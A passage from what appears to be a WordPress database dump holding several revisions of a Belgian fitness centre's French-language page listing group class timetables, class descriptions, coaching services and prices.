class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:49:46', '2013-10-05 08:49:46', '', 11, 'http://www.crosstrainingcenter.be/11-revision-120/', 0, 'revision', '', 0),
(351, 1, '2013-10-05 08:51:38', '2013-10-05 08:51:38', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un coach.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Personal Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nUn coach par personne, l’idéal pour progresser plus rapidement!\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Coaching nutritionnel :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nRendez-vous avec une diététicienne pour améliorer votre santé.\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Prix&lt;/h2&gt;\r\n&lt;table&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Team Training&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 séance : 9.00€\r\n1 carte de 10 séances : 80.00€ (valable 3 mois)\r\n1 carte de 20 séances : 120.00€ (valable 4 mois)\r\nAbonnement 1 mois illimité : 69.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Package alimentation + sport&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1 carte de 20 séances + 1 rdv par semaine de coaching alimentaire pendant 3 mois = 235.00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitrehprix\&quot;&gt;Coaching nutritionnel&lt;/td&gt;\r\n&lt;td class=\&quot;tcelluleprix\&quot;&gt;1er rendez-vous : bilan alimentaire et programme personnalisé : 50.00€\r\nSuivi 15,00€&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;', 'Les séances', '', 'inherit', 'open', 'open', '', '11-revision-v1', '', '', '2013-10-05 08:51:38', '2013-10-05 08:51:38', '', 11, 'http://www.crosstrainingcenter.be/11-revision-122/', 0, 'revision', '', 0),
(348, 1, '2013-10-05 08:48:06', '2013-10-05 08:48:06', '&lt;h2&gt;Team Training :&lt;/h2&gt;\r\nEntrainements en groupe avec un coach qualifié (8 à 12 pers.). Nous vous proposons 4 types de séances décrites ci-dessous\r\n\r\n&lt;br&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcardio\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;trip\&quot;&gt;&lt;b&gt;18h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;ttrx\&quot;&gt;&lt;b&gt;17h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tglfe\&quot;&gt;&lt;b&gt;11h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h30&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;18h15&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;11h30&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;12h&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h30&lt;/b&gt;&lt;br&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h15&lt;/b&gt;&lt;br&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&lt;b&gt;19h45&lt;/b&gt;&lt;br&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;&amp;nbsp;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;br&gt;\r\n\r\n\r\n&lt;table style=\&quot;border: 0px; width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td colspan=\&quot;2\&quot;&gt;\r\n&lt;h6&gt;En semaine :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 100%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;LUNDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MARDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;MERCREDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;JEUDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;VENDREDI&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;17h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;18h15&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #fafafa;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr style=\&quot;background-color: #eeeeee;\&quot;&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;19h45&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;\r\n&lt;h6&gt;Le week-end :&lt;/h6&gt;\r\n&lt;table style=\&quot;width: 90%;\&quot;&gt;\r\n&lt;tbody&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;SAMEDI&lt;/td&gt;\r\n&lt;td class=\&quot;ttitreh\&quot;&gt;DIMANCHE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;11h30&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;GLFE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;TRX&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;tr&gt;\r\n&lt;td class=\&quot;ttitreg\&quot;&gt;12h00&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;RIP-KETTLE&lt;/td&gt;\r\n&lt;td class=\&quot;tcellule\&quot;&gt;CARDIO&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;/td&gt;\r\n&lt;td style=\&quot;width: 50%;\&quot;&gt;&lt;/td&gt;\r\n&lt;/tr&gt;\r\n&lt;/tbody&gt;\r\n&lt;/table&gt;\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;TRX :&lt;/strong&gt;&lt;/span&gt; entrainement basé sur le poids du corps ! Vous réaliserez des centaines d’exercices qui permettront de développer puissance, force, souplesse, équilibre, mobilité tout en évitant les blessures et avec l\'intensité que vous avez choisie.\r\n\r\n&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;&lt;strong&gt;Circuit GLFE :&lt;/strong&gt;&lt;/span&gt; travaillez de manière fun sur un circuit ultra complet, adapté à votre niveau. Relevez des challenges et augmentez votre confiance en vous ! Ce circuit utilise tous les outils.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;RIP-KETTLE&lt;/span&gt; :&lt;/strong&gt; alternance d’exercices avec le Kettlebell (cible les zones inaccessibles avec haltères et charges guidées) et le RIP Trainer (outils issus de la kinésithérapie pour travailler la stabilité de la ceinture abdominale, la coordination,…). Excellent cours pour renforcer, tonifier et raffermir en profondeur votre corps.\r\n\r\n&lt;strong&gt;&lt;span style=\&quot;text-decoration: underline;\&quot;&gt;CARDIO&lt;/span&gt; :&lt;/strong&gt; pour développer votre endurance musculaire et cardiovasculaire. Idéal pour brûler un maximum de calories et perdre du poids !\r\n&lt;h2&gt;&lt;/h2&gt;\r\n&lt;h2&gt;Duo Training :&lt;/h2&gt;\r\n&lt;a title=\&quot;Contact\&quot; href=\&quot;http://www.crosstrainingcenter.be/?page_id=9\&quot;&gt;Uniquement sur rdv&lt;/a&gt;\r\nEntrainements à deux personnes sous la supervision d’un 